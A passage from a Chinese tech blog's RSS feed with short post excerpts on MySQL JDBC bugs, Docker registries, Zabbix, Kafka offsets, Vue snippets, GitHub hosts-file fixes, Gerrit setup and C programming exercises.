      <description>1. 问题背景&#xA;生产环境Percona MySQL 5.7.19 执行SQL报错 如下：java.sql.SQLException: Unknown type &#39;14 in column 0 of 1 in binary-encoded result set.&#xA;at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:965)&#xA;at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:898)&#xA;at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:887)&#xA;at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:861)&#xA;at com.mysql.jdbc.MysqlIO.extractNativeEncodedColumn(MysqlIO.java:4558)&#xA;at com.mysql.jdbc.MysqlIO.unpackBinaryResultSetRow(MysqlIO.java:4472)&#xA;at com.mysql.jdbc.MysqlIO.nextRow(MysqlIO.java:2045)&#xA;at com.mysql.jdbc.MysqlIO.readSingleRowSet(MysqlIO.java:3400)&#xA;at com.mysql.jdbc.MysqlIO.getResultSet(MysqlIO.java:470)&#xA;at com.mysql.jdbc.MysqlIO.readResultsForQueryOrUpdate(MysqlIO.java:3112)&#xA;at com.mysql.jdbc.MysqlIO.readAllResults(MysqlIO.java:2341)&#xA;at com.mysql.jdbc.ServerPreparedStatement.serverExecute(ServerPreparedStatement.java:1368)&#xA;at com.mysql.jdbc.ServerPreparedStatement.executeInternal(ServerPreparedStatement.java:783)&#xA;at com.mysql.jdbc.PreparedStatement.executeQuery(PreparedStatement.java:1966)&#xA;at JDBCClient.main(JDBCClient.java:39)&#xA;2. 排查问题&#xA;该Bug复现条件：应用程序使用jdbc连接MySQL数据库，并且打开jdbc预编译参数useServerPrepStmts=true&#xA;应用程序中执行了含有UNION ALL的SQL，并且SQL执行返回的数据中包含有DATE类型的字段。Metadata from result sets for UNION ALL queries could say NEWDATE rather than DATE. (Bug #27422376)</description>
    </item>
    <item>
      <title>CentOS发行版号和RHEL版本对照表</title>
      <link>https://bchobby.github.io/posts/bee7e9bb288b76d55de62e575d688c3c/</link>
      <pubDate>Wed, 27 Jan 2021 10:55:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bee7e9bb288b76d55de62e575d688c3c/</guid>
      <description>详情地址：https://wiki.centos.org/Download 存档版本&#xA;CentOS Linux 7&#xA;发布&#xA;基于RHEL Source（版本）&#xA;存档的树&#xA;7（1804）&#xA;7.5&#xA;树&#xA;7（1708）&#xA;7.4&#xA;树&#xA;7（1611）&#xA;7.3&#xA;树&#xA;7（1511）&#xA;7.2&#xA;树&#xA;7（1503）&#xA;7.1&#xA;树&#xA;7（1406）&#xA;7&#xA;树&#xA;CentOS Linux 6&#xA;发布&#xA;基于RHEL Source（版本）&#xA;存档的树&#xA;6.10&#xA;6.10&#xA;树&#xA;6.9&#xA;6.9&#xA;树&#xA;6.8&#xA;6.8&#xA;树&#xA;6.7&#xA;6.7&#xA;树&#xA;6.6&#xA;6.6&#xA;树&#xA;6.5&#xA;6.5&#xA;树&#xA;6.4&#xA;6.4&#xA;树&#xA;6.3&#xA;6.3&#xA;树&#xA;6.2&#xA;6.2&#xA;树&#xA;6.1&#xA;6.1&#xA;树&#xA;6&#xA;6&#xA;树&#xA;CentOS Linux 5</description>
    </item>
    <item>
      <title>打印机自定义纸张找不到_金蝶账无忧如何设定自定义纸张大小打印</title>
      <link>https://bchobby.github.io/posts/1614f0ffb0c8e6ef9783a6bcf5960c8f/</link>
      <pubDate>Wed, 27 Jan 2021 10:27:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1614f0ffb0c8e6ef9783a6bcf5960c8f/</guid>
      <description>在凭证录入完成后，金蝶账无忧是支持凭证打印的。一共有2种凭证打印方式，第一种是套打。套打是根据系统设置好的模板，用金蝶专用的凭证纸进行打印，打印纸张规格为240mmX140mm，KP-J103模板。暂时不支持KP-Z103。另一种打印是根据大家手里的纸张规格设定打印。现在咱们就介绍一下自定义纸张大小的打印。&#xA;我用客户实际纸张规格演示。纸张规格210mmX297mm。&#xA;一、在控制面板打印机中增加纸张规格。控制面板→打印机→选定打印机右鼠标键：打印首选项→自定义纸张大小，设定名称为：KINGDEE。纸张规格设定为210mm；297mm。&#xA;二、在打印选项中选择输出尺寸为KINGDEE的纸型。&#xA;三、在账无忧凭证查询中→打印→凭证打印→PDF打印，选择自定义纸张，规格设定为短边210毫米 长边297毫米&#xA;四、打印预览后是这个样子，我们先打印一张凭证看一下效果，里面的参数根据打印机不同，分别设置就可以，案例中的截图仅供参考。&#xA;凭证打印相关的配置基本上就是这些，在实际设置中，每个打印机的品牌和设置方法略有不同。此办法作为一个参考，大家可以自己设置下看看，如果设定不好，可以找我远程协助大家设定下。&#xA;金蝶姜-18940982658</description>
    </item>
    <item>
      <title>【Django】Specifying a namespace in include() without providing an app_name is not supported</title>
      <link>https://bchobby.github.io/posts/968f4feb301d2ef568ed386fa464d1da/</link>
      <pubDate>Tue, 26 Jan 2021 21:33:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/968f4feb301d2ef568ed386fa464d1da/</guid>
      <description> 问题所在： 问题分析 include需要两个参数，arg和namespace, 当namespace不为空时，arg参数必须是一个2元组，除了urlpatterns不能为空之外，app_name也必须填写&#xA;解决方案 </description>
    </item>
    <item>
      <title>vue利用a标签点击下载保存图片</title>
      <link>https://bchobby.github.io/posts/23f44a653c8e236fee59b813f917b61a/</link>
      <pubDate>Tue, 26 Jan 2021 17:36:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23f44a653c8e236fee59b813f917b61a/</guid>
      <description>vue前端a标签点击下载保存图片 想不调用接口直接下载保存图片，翻csdn把手都翻出血了。&#xA;亲测一行代码搞定：&#xA;把图片地址设在download属性上，而不是放在href中:&#xA;关键代码：&#xA;&amp;lt;a href=&#34;&#34; :download=&#34;item.src&#34; class=&#34;download&#34;&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;template&amp;gt; &amp;lt;div class=&#34;contain&#34;&amp;gt; &amp;lt;el-dialog title=&#34;图片预览&#34; :visible.sync=&#34;dialogVisible&#34; width=&#34;790px&#34; height=&#34;554px&#34; :show-close=&#34;true&#34; :autoplay=&#34;false&#34; :close-on-click-modal=&#34;false&#34;&amp;gt; &amp;lt;el-carousel indicator-position=&#34;outside&#34;&amp;gt; &amp;lt;el-carousel-item v-for=&#34;item in imgList&#34; :key=&#34;item.id&#34;&amp;gt; &amp;lt;a href=&#34;&#34; :download=&#34;item.src&#34; class=&#34;download&#34;&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;img :src=&#34;item.src&#34; alt=&#34;&#34; /&amp;gt; &amp;lt;/el-carousel-item&amp;gt; &amp;lt;/el-carousel&amp;gt; &amp;lt;/el-dialog&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import xiazai from &#39;@/assets/icons/xiazai.svg&#39;; export default { name: &#39;Carousel&#39;, props: { imgList: { type: Array, default: [], required: true, }, }, data() { return { downloadImg: [], dialogVisible: false, }; }, methods: {}, }; &amp;lt;/script&amp;gt; &amp;lt;style lang=&#34;</description>
    </item>
    <item>
      <title>docker(2)仓库：Registry 、harbor</title>
      <link>https://bchobby.github.io/posts/5c22ca92e70598a69e702c8cbec76f0d/</link>
      <pubDate>Tue, 26 Jan 2021 15:35:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c22ca92e70598a69e702c8cbec76f0d/</guid>
      <description>文章目录 1.Docker hubRegistry工作原理，一次docker pull 或 push背后发生的事情 2.搭建私有仓库1)安装,解决速度和依赖性:阿里云-》容器-》docker新建server12，作docker 2)加密3）认证login登陆 3.docker-compose.同时管理多个1)创建 harbor仓库2）网页新建用户westos维护人员能上传，访客不能上传，只能拉取 3)镜像签名tag网页扫描启动内容信任 官方docker hub：https://hub.docker.com/Docker 仓库是用来包含镜像的位置，Docker提供一个注册服务器 （Register）来保存多个仓库，每个仓库又可以包含多个具备不同 tag的镜像。Docker运行中使用的默认仓库是 Docker Hub 公共仓库。registry 是镜像和图表的仓库，它不具有本地数据库以及不提供用户认证，通过 Index Auth service的Token的方式进行认证。 1.Docker hub [root@server11 ~]# docker rmi 4bb46517cac3 [root@server11 ~]# docker images [root@server11 ~]# docker search registry [root@server11 ~]# docker pull registry#下载registry镜像 [root@server11 ~]# docker history registry:latest #查看端口 [root@server11 ~]# docker run -d --name registry -p 5000:5000 -v /opt/registry:/var/lib/registry registry #运行容器。-d打入后台；-p端口映射；-v手工指定数据卷挂载点，宿主机路径：容器路径 0966e368a427b2eb1bd30f49b356ebf386e38dec06bcca28098b489064f67ffd [root@server11 ~]# docker ps [root@server11 ~]# ll -d /opt/registry/ [root@server11 ~]# yum install tree -y [root@server11 ~]# tree /opt/registry/ [root@server11 ~]# docker tag webserver:v4 localhost:5000/webserver:latest #tag给镜像打标签 [root@server11 ~]# docker images [root@server11 ~]# docker push localhost:5000/webserver#上传镜像到本地仓库 [root@server11 ~]# tree /opt/registry/ [root@server11 ~]# curl localhost:5000/v2/_catalog {&#34;</description>
    </item>
    <item>
      <title>wia驱动程序正在使用中 无法安装_如果Windows无法加载驱动程序，请关闭“内存完整性”设置...</title>
      <link>https://bchobby.github.io/posts/1ba103528be213ba27ad51939346f4b2/</link>
      <pubDate>Tue, 26 Jan 2021 14:36:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ba103528be213ba27ad51939346f4b2/</guid>
      <description>内存完整性是Windows安全功能，可确保在Windows内核级别运行的任何代码都是可信赖的。该功能使用硬件虚拟化和Hyper-V来保护内核，防止其注入和执行恶意或未经验证的代码。驱动程序专门设计为在内核级别运行，因此OS可以与硬件对话。如果收到错误消息- 该设备无法工作，因为Windows无法加载该设备所需的驱动程序，则表明该驱动程序现在允许该驱动程序加载到您的设备上。在本文中，我们将分享替代方法来解决此问题。&#xA;如果Windows无法加载驱动程序，请关闭“内存完整性”设置 如果您的Windows 10设备无法正常工作，因为Windows无法加载该设备所需的驱动程序，请按以下步骤关闭“内存集成”，然后查看：&#xA;转到设置&amp;gt;更新和安全&amp;gt; Windows安全。单击以启动它。单击左上方的汉堡菜单，然后单击“ 设备安全性”。在“ 核心隔离”下，选择“ 核心隔离详细信息”。切换内存完整性。您需要重新启动计算机才能使更改生效。 当您禁用核心分离和存储器的完整性，有没有完整性检查，Windows启动，并加载驱动程序时尤其如此。尽管您可以继续使用而不解决驱动程序问题，但是您会；发现某些功能不再起作用。它可能不会造成问题，但是在某些情况下，结果可能很严重。&#xA;有两种其他方法可以解决此设备管理器错误代码。第一种是从OEM安装替代或更新的驱动程序，因为当前驱动程序可能已过时或不兼容。第二种方法是安装通用驱动程序。&#xA;从OEM安装替代或更新的驱动程序：当前正在使用的驱动程序可能已过时或存在漏洞，因为Windows无法加载该驱动程序。如果Windows Update无法为您找到合适的驱动程序，则应联系OEM以获取最新的驱动程序。安装通用驱动程序： Microsoft为任何硬件提供通用驱动程序。这将确保您可以使用设备，但功能有限。这比禁用完整性检查更好。这是安装通用驱动程序的方法。 我希望该帖子易于理解，并且关闭“内存”完整性可以帮助您加载驱动程序。</description>
    </item>
    <item>
      <title>系统学习 Zabbix 系统监控（二）</title>
      <link>https://bchobby.github.io/posts/58d8cf1718941ec0948d25381b1e7fe8/</link>
      <pubDate>Tue, 26 Jan 2021 14:15:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58d8cf1718941ec0948d25381b1e7fe8/</guid>
      <description>本系列文章介绍了zabbix 基本概念及其特点，阐述 zabbix 系统环境搭建与基础安装，如何实现对各类操作系统、硬件设备、应用软件监控告警。本文为系列第二篇，内容包括Windows 系统硬件信息获取、Linux 系统监控、Linux 系统硬件信息获取。前文点此：系统学习 Zabbix 系统监控（一）&#xA;5 windows 系统硬件信息获取 本文通过在 OS 操作系统层面上，主要获取 windows 服务器下 CPU 信息、内存信息、硬盘信息、操作系统、服务器信息。信息获取的实现方式是通过在 windows 系统下部署自定义 bat 脚本，执行脚本获取数据，再将获取的信息发送给 zabbix 服务端， zabbix 界面创建相应的监控项，触发器等，最终将信息展示出来。监控项内容如下：&#xA;CPU 信息：型号、个数、内核数、逻辑核、 CPU 健康状态，及状态告警。&#xA;内存信息：容量、个数、厂商、型号、序列号；主板支持内存最大容量和个数。&#xA;硬盘信息：厂商、个数、容量、序列号、接口类型、硬盘健康状态，及状态告警。&#xA;操作系统信息：主机名、操作系统版本、运行时长、统线程数、系统时间。&#xA;服务器信息：品牌、型号、序列号。&#xA;说明：一些特殊数据需要实现监控，例如 CPU 温度、硬盘状态、 Raid 卡状态、风扇转速等， windows 没有提供检测硬件温度组件，需要借助第三方工具如 IPMI tools ， fan-speed 等，也可以使用 IPMI 协议等其他方法来丰富 windows 系统硬件监控项，对于虚拟机并不适用，此时，推荐使用服务器的管理口，如 HPE 服务器的 iLO 、 DEll 服务器的 iDRAC ，联想服务器 XCC 等开启 snmp 功能，再进行 zabbix 配置，实现对服务器硬件全面监控。如果服务器未配置管理口，当然不能适用。&#xA;5.1 CPU 信息获取 应用集：CPU 硬件</description>
    </item>
    <item>
      <title>Shader的基础知识</title>
      <link>https://bchobby.github.io/posts/5ab147a05e25d3fd2602618808b6114b/</link>
      <pubDate>Tue, 26 Jan 2021 11:21:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ab147a05e25d3fd2602618808b6114b/</guid>
      <description>管线渲染&#xA;定义：图形数据在GPU上经过运算处理，最后输出到屏幕的过程&#xA;1. 顶点处理： 接收模型顶点数据、坐标系装换&#xA;2. 图元装配： 组装面、连接相邻的顶点，绘制为三角面&#xA;3. 光栅化 ：计算三角面上的像素，并为后面着色阶段提供合理的插值参数（以及深度值）&#xA;4. 像素处理： 对每个像素区域进行着色、写入到缓存&#xA;5. 缓存：一个存储像素数据的内存块，最重要的缓存是帧缓存与深度缓存&#xA;帧缓存：存储每个像素的色彩（缓冲）&#xA;深度缓存Z-buffer：前后排序（深度信息，物体到摄像机的距离）&#xA;6. Draw Call 绘制调用：每帧调用显卡渲染物体的次数&#xA;什么是缓冲？&#xA;一个像素有如下缓冲&#xA;颜色缓冲Color buffer/prixel buffer: 储存该点即将显示的颜色，RGBA值&#xA;深度缓存 depth buffer/Z buffer: 储存该点的深度Z&#xA;模板缓存stencil buffer ： 通常作用限制渲染区域。更高级用法需结合深度缓存，例如某像素的模板缓冲值会随着其是否通过深度缓冲测试而改变&#xA;什么是图元装配（Primitive Assembly）&#xA;经过变换的顶点 被装配成几何（三角形等）图集&#xA;什么是光栅化(栅格化)（Rasterization）&#xA;栅格化这个术语：可以用于任何将矢量图形转化成栅格图像的过程&#xA;在3D渲染中主要是指，三角形等图元（矢量）转化成像素碎片的过程。或者说决定哪些像素几何图元覆盖的过程。栅格化的结果是像素位置的集合和片段的集合&#xA;什么是光栅操作（Raster Operation）&#xA;指在碎片fragment处理后，在更新帧缓存前最后执行的一系列操作。通过包括裁剪，深度测试，alpha测试，alpha混合等。&#xA;Shader常见术语&#xA;Alpha 透明的（黑透白不透、灰色半透半不透）&#xA;Bump凹凸 （法线贴图）&#xA;Specular (高光)&#xA;Shader主要看Game视窗&#xA;Shader显示名称与Shader名不冲突&#xA;什么是GPU?&#xA;GPU：Graphic Processing Unit,中文翻译为“图形处理器”。显卡包括（GPU,显存，显卡BLOS，显卡PCB板）&#xA;什么是Shader?&#xA;Shader程序：GPU执行的，针对3D对象进行操作的程序&#xA;Shader编程有那几种？&#xA;CG：与DirectX 9.0 以上以及OpenGL 完全兼容。运行时或事先编译成GPU汇编代码&#xA;HLSL: 主要用于Direct3D。平台：Windows</description>
    </item>
    <item>
      <title>[git]mac的github头像突然显示不出来，解决办法</title>
      <link>https://bchobby.github.io/posts/9629a63e66905c4828ff2c4f46bcdbc4/</link>
      <pubDate>Tue, 26 Jan 2021 11:12:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9629a63e66905c4828ff2c4f46bcdbc4/</guid>
      <description>1. 复制自己头像的链接地址&#xA;https://avatars.githubusercontent.com/u/22430436?s=460&amp;amp;u=d615b6f55b01116874abc4229369ba6cf70d7f04&amp;amp;v=4&#xA;如上述； 2. ping一下这个地址&#xA;使用https://www.ipaddress.com/ 来进行ping操作&#xA;https://githubusercontent.com.ipaddress.com/avatars.githubusercontent.com&#xA;拿到ip地址&#xA;199.232.96.133 3.更改mac host&#xA;sudo vi /etc/hosts&#xA;4.使host生效&#xA;sudo killall -HUP mDNSResponder 解决问题&#xA;Others: 因为网上还有其他办法,加了很多hosts&#xA;如果ip到时候变了,换起来很麻烦;&#xA;比如下述,记得改变前面的ip; # GitHub Start 199.232.96.133 assets-cdn.github.com 199.232.96.133 raw.githubusercontent.com 199.232.96.133 gist.githubusercontent.com 199.232.96.133 cloud.githubusercontent.com 199.232.96.133 camo.githubusercontent.com 199.232.96.133 avatars1.githubusercontent.com 199.232.96.133 avatars0.githubusercontent.com 199.232.96.133 avatars1.githubusercontent.com 199.232.96.133 avatars2.githubusercontent.com 199.232.96.133 avatars3.githubusercontent.com 199.232.96.133 avatars4.githubusercontent.com 199.232.96.133 avatars5.githubusercontent.com 199.232.96.133 avatars6.githubusercontent.com 199.232.96.133 avatars7.githubusercontent.com 199.232.96.133 avatars8.githubusercontent.com # GitHub End done！</description>
    </item>
    <item>
      <title>查看kafka topic的消息offset范围</title>
      <link>https://bchobby.github.io/posts/67d4608ac93ac6021fce3e57ff60d6ec/</link>
      <pubDate>Tue, 26 Jan 2021 09:43:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67d4608ac93ac6021fce3e57ff60d6ec/</guid>
      <description> 查看各个patition消息的最大Offset bin/kafka-run-class.sh kafka.tools.GetOffsetShell \ --topic topic_name \ --time -1 \ --broker-list host1:9092,host2:9092,host3:9092 查看各个partition消息的最小Offset bin/kafka-run-class.sh kafka.tools.GetOffsetShell \ --topic topic_name \ --time -2 \ --broker-list host1:9092,host2:9092,host3:9092 计算可消费的消息个数 max=`sh kafka-run-class.sh kafka.tools.GetOffsetShell --topic topic_name --time -1 --broker-list host1:9092,host2:9092,host3:9092|awk -F&#39;:&#39; &#39;{print $3}&#39;| awk &#39; { SUM += $1 } END { print SUM }&#39;` min=`sh kafka-run-class.sh kafka.tools.GetOffsetShell --topic topic_name --time -2 --broker-list host1:9092,host2:9092,host3:9092|awk -F&#39;:&#39; &#39;{print $3}&#39;| awk &#39; { SUM += $1 } END { print SUM }&#39;` echo $(($max-$min)) </description>
    </item>
    <item>
      <title>node : 无法将“node”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写，如果包括路径，请确保路径正确，然后再试一次。已解决！</title>
      <link>https://bchobby.github.io/posts/3b57d3f95c3e12a5e7f1ec1e23f2c7d3/</link>
      <pubDate>Mon, 25 Jan 2021 22:28:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b57d3f95c3e12a5e7f1ec1e23f2c7d3/</guid>
      <description>我是电脑新加了一个机械硬盘，发现原来的项目不能用了，查看node版本发现： node报错:node : 无法将“node”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写，如果包括路径，请确保路径正确，然后再试一次。 所在位置 行:1 字符: 1 + node -v + ~~~~ + CategoryInfo : ObjectNotFound: (node:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException&#xA;解决办法: 重新下载node.js&#xA;https://nodejs.org/zh-cn/&#xA;重新启动VScode就好啦！</description>
    </item>
    <item>
      <title>Sentinel-1 A/B 预处理需要注意的问题</title>
      <link>https://bchobby.github.io/posts/419671436de4a12babe13745fc6be6ca/</link>
      <pubDate>Mon, 25 Jan 2021 21:31:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/419671436de4a12babe13745fc6be6ca/</guid>
      <description>Sentinel-1 A/B 是一对双胞胎，提供的数据都是SAR数据，常用的数据源还有高分三号 。&#xA;Sentinel-1 A/B 的数据不像Landsat 数据那样可以用ENVI直接打开，所以需要用SNAP预处理。SNAP对于电脑配置要求比较高，至少是16G，所以如果配置不够高可以单独截取一块影像进行分析。&#xA;预处理后，如果需要用面向对象法进行分割，ENVI5.3会卡死的，可以使用ENVI5.1。EMVI的多个版本可以共存。</description>
    </item>
    <item>
      <title>vue 使用el-dialog调用高德地图，无法显示</title>
      <link>https://bchobby.github.io/posts/983f846dd521c3a952c6fd32d469d6a0/</link>
      <pubDate>Mon, 25 Jan 2021 17:30:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/983f846dd521c3a952c6fd32d469d6a0/</guid>
      <description> 高德地图在页面中引用能够正常显示，但是想在el-dialog中显示高德地图并进行操作，地图无法显示&#xA;1、主要原因是当前生命周期mounted执行完成后，页面el-dialog元素并不存在，所有无法显示地图。&#xA;解决方法：兼听el-dialog 显示时 创建地图&#xA;setTimeout(function(){ _self.map = new AMap.Map(&#34;mapContainer&#34;, { resizeEnable: true, zoom: 13, center:_self.mapCenter }); _self.map.on(&#39;movestart&#39;,function(){ //地图开始移动事件 }); _self.map.on(&#39;mapmove&#39;,function(){ //地图移动中事件 }); },500) </description>
    </item>
    <item>
      <title>tapable详解</title>
      <link>https://bchobby.github.io/posts/0cd8dc499e734002741982ba1de90f86/</link>
      <pubDate>Mon, 25 Jan 2021 16:20:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cd8dc499e734002741982ba1de90f86/</guid>
      <description>tapable详解 tapable是webpack内部使用的一个流程管理工具，主要用来串联插件，完善事件流执行。&#xA;1.安装tapable yarn add tapable 2. 常用hooks import { SyncHook, SyncBailHook, SyncWaterfallHook, SyncLoopHook, AsyncParallelHook, AsyncParallelBailHook, AsyncSeriesHook, AsyncSeriesBailHook, AsyncSeriesWaterfallHook } form &#39;tapable&#39;; [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gBgy8rW0-1611562755204)(D:\download\tapable.png)]&#xA;tapable通过tap注册一个事件，通过call执行该钩子注册的所有事件。&#xA;tapable的每个hooks都tap一个或多个事件。&#xA;tapAsync/callAsync、tapPromise/Promise用于注册同步执行的异步事件，callAsync用在并行执行的异步钩子完成后再执行该函数。&#xA;用法示例：&#xA;new SyncHook([arg1,arg2,...]) hooks接收一个数组参数，参数为执行回调事件所需的参数名。&#xA;call:(...args) =&amp;gt; void当你的钩子触发之前,(就是call()之前),就会触发这个函数,你可以访问钩子的参数.多个钩子执行一次&#xA;tap: (tap: Tap) =&amp;gt; void 每个钩子执行之前(多个钩子执行多个),就会触发这个函数&#xA;loop:(...args) =&amp;gt; void 这个会为你的每一个循环钩子(LoopHook, 就是类型到Loop的)触发,具体什么时候没说&#xA;register:(tap: Tap) =&amp;gt; Tap | undefined 每添加一个Tap都会触发 你interceptor上的register,你下一个拦截器的register 函数得到的参数 取决于你上一个register返回的值,所以你最好返回一个 tap 钩子.&#xA;2.1 SyncHook 同步串行，在触发事件之后，会依次执行注册的所有事件处理函数。其原理是将监听(订阅)的函数存放到一个数组中, 发布时遍历数组中的监听函数并且将发布时的 arguments传递给监听函数。&#xA;不关心返回值,从上到下依次执行注册事件。&#xA;const hook = new SyncHook([&#39;name&#39;, &#39;sex&#39;]) /* tap(options,function): options是事件描述，可以为一个字符串，也可以为一个对象,为对象时必须包含name属性，描述该插件名称。 function:回调函数 */ // 打印我的名字 hook.</description>
    </item>
    <item>
      <title>vue之echart表中datazoom配置用于左右滚动</title>
      <link>https://bchobby.github.io/posts/e0955a0be86e718cbb31c964ee478d7b/</link>
      <pubDate>Mon, 25 Jan 2021 16:16:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0955a0be86e718cbb31c964ee478d7b/</guid>
      <description> dataZoom: [ { // start: 0, //默认为0 // end: 100 - 1500 / 31, //默认为100 endValue: 7, // 一次性展示7个。 type: &#34;slider&#34;, show: true, xAxisIndex: [0], handleSize: 0, //滑动条的 左右2个滑动条的大小 height: 10, //组件高度 left: &#34;10%&#34;, //左边的距离 right: &#34;10%&#34;, //右边的距离 bottom: 26, //右边的距离 borderColor: &#34;#000&#34;, fillerColor: &#34;#269cdb&#34;, borderRadius: 5, backgroundColor: &#34;#33384b&#34;, //两边未选中的滑动条区域的颜色 showDataShadow: false, //是否显示数据阴影 默认auto showDetail: false, //即拖拽时候是否显示详细数值信息 默认true realtime: true, //是否实时更新 filterMode: &#34;filter&#34;, }, //下面这个属性是里面拖到 { type: &#34;inside&#34;, show: true, xAxisIndex: [0], start: 0, //默认为1 end: 100 - 1500 / 31, //默认为100 }, ], </description>
    </item>
    <item>
      <title>css预编译方式 vue cli 选不选_Vue、Spring Boot开发小而完整的Web前后端分离项目实战03...</title>
      <link>https://bchobby.github.io/posts/62829caf86f152d0baef60612934d6bf/</link>
      <pubDate>Mon, 25 Jan 2021 11:48:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62829caf86f152d0baef60612934d6bf/</guid>
      <description>第03讲 前端Vue项目创建 1.1、vue cli 官网 https://cli.vuejs.org/zh/guide/creating-a-project.html#vue-create&#xA;1.2、在自己电脑本地磁盘新建一个文件夹，用于保存项目 ，文件夹命名最好使用英文名称，如下， D:0_teachUI&#xA;1.3、cd 进入文件夹，vue create 项目名称，输入 vue create project-vue 回车 1.3.1、 进入到项目保存的目录，输入 vue create project-vue 回车&#xA;1.3.2、回车进入到如下界面，键盘上、下键选择需要的创建方式，我们这里选择 manually select features，手动选择配置的方式，然后 回车&#xA;1.3.3、回车进入到如下界面，键盘上、下键移动选择需要的项，按 空格 键可以选中。我们选择如下带*的项目，然后 回车&#xA;选项说明 Babel：将ES6编译成ES5&#xA;TypeScript：使用TypeScript&#xA;Router和Vuex`：路由和状态管理&#xA;Linter/ Formatter：代码检查工具&#xA;CSS Pre-processors：css预编译&#xA;1.3.4、Use history mode for router? (Requires proper server setup for index fallback in production) (Y/n) y&#xA;路由使用历史模式? 这种模式充分利用 history.pushState API 来完成 URL 跳转而无须重新加载页面&#xA;1.3.5、 Pick a CSS pre-processor (PostCSS, Autoprefixer and CSS Modules are supported by default): 使用什么css预编译器？</description>
    </item>
    <item>
      <title>【C】为什么使用srand&#43;rand()后每次产生的随机数都一样</title>
      <link>https://bchobby.github.io/posts/1f97e85295e9f0ed2be865abd51e577a/</link>
      <pubDate>Sun, 24 Jan 2021 21:52:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f97e85295e9f0ed2be865abd51e577a/</guid>
      <description>转载：https://blog.csdn.net/buku2010/article/details/19404885?%3E&#xA;当我把srand（time（0））放入for循环中时，rand每次生成的都一样：&#xA;for(int i=0;i&amp;lt;100000;i++)&#xA;{&#xA;srand( (unsigned)time( NULL ) );&#xA;cout&amp;lt;&amp;lt;rand()&amp;lt;&amp;lt;endl;&#xA;}&#xA;答：你的程序是有问题的，你每产生一个随机数之前，都调用一次srand，而由于计算机运行很快，所以你每次用time得到的时间都是一样的（time的时间精度较低，只有55ms）。这样相当于使用同一个种子产生随机序列，所以产生的随机数总是相同的。你应该把srand放在循环外：&#xA;什么是伪随机数&#xA;如何生成不重复的随机数</description>
    </item>
    <item>
      <title>Gerrit 环境搭建（基于Docker）</title>
      <link>https://bchobby.github.io/posts/5becffb986c727e6c1d99615d80dfafa/</link>
      <pubDate>Sun, 24 Jan 2021 18:42:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5becffb986c727e6c1d99615d80dfafa/</guid>
      <description> 官网：https://www.gerritcodereview.com&#xA;文档：https://review.gerrithub.io/Documentation/index.html&#xA;插件文档：https://www.gerritcodereview.com/plugins.html&#xA;源码：https://github.com/GerritCodeReview&#xA;镜像库：https://hub.docker.com/r/gerritcodereview/gerrit&#xA;运行命令&#xA;docker run -d \ --name gerrit3.3 \ -p 7001:8080 \ -p 7002:29418 \ -e CANONICAL_WEB_URL=http://10.8.6.179:7001 \ gerritcodereview/gerrit:3.3.1 关键参数解释：&#xA;-p 7001:8080 -p 7002:29418：8080为http端口；29418为ssh端口-e CANONICAL_WEB_URL=http://10.8.6.179:7001： CANONICAL_WEB_URL 为外部访问地址（体现在git clone地址上） </description>
    </item>
    <item>
      <title>C语言经典100题（一）</title>
      <link>https://bchobby.github.io/posts/f871ba7bb525329e5eef240d944335f9/</link>
      <pubDate>Sun, 24 Jan 2021 10:16:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f871ba7bb525329e5eef240d944335f9/</guid>
      <description>之前在复习数据库和Java，现在也在开始启动复习C语言，我准备写个专题，关于自己见到的关于C的一些题目，方便自己迎接考试。&#xA;题目：假设今天是星期日 则a的b次方天是星期几&#xA;这道题目的本质就是求除以7的余数是多少，如果直接算出a的b次方，有可能会超出C的存储范围，所以为了避免这种情况，要每计算一次，就要取一下余数&#xA;#include&amp;lt;stdio.h&amp;gt; int main(){ int a; int b; int i; int temp = 1; scanf(&#34;%d%d&#34;,&amp;amp;a,&amp;amp;b); //关键代码 for(i=1;i&amp;lt;=b;i++){ temp = temp*a; temp = temp%7; } switch(temp){ case 0:printf(&#34;sunday&#34;);break; case 1:printf(&#34;monday&#34;);break; case 2:printf(&#34;tuesday&#34;);break; case 3:printf(&#34;wednesday&#34;);break; case 4:printf(&#34;thursday&#34;);break; case 5:printf(&#34;friday&#34;);break; case 6:printf(&#34;saturday&#34;);break;&#x9;} return 0; } 易出错点如下面的代码所示，刚开始，我直接在a上连乘，刚写完我就意识到自己写错了，又加一个变量temp。 for(i=1;i&amp;lt;=b;i++){ a = a*a; a= a%7; } 题目：分数a/b换成小数之后，求第n为小数，0&amp;lt;a&amp;lt;b&amp;lt;100，1&amp;lt;=n&amp;lt;=10000&#xA;这道题目我刚开始的思路是这样的，比如1/3，结果为1.3333333......，我先让结果乘以10，然后变成13，然后取%10，也就是取最后一位数字，也就找到了第一位小数数字。这种方法思路正确，操作性也行，但是会超出数据类型的存储范围，导致解决方法不成功，自己写的方法如下：&#xA;错误解法！&#xA;#include&amp;lt;stdio.h&amp;gt; 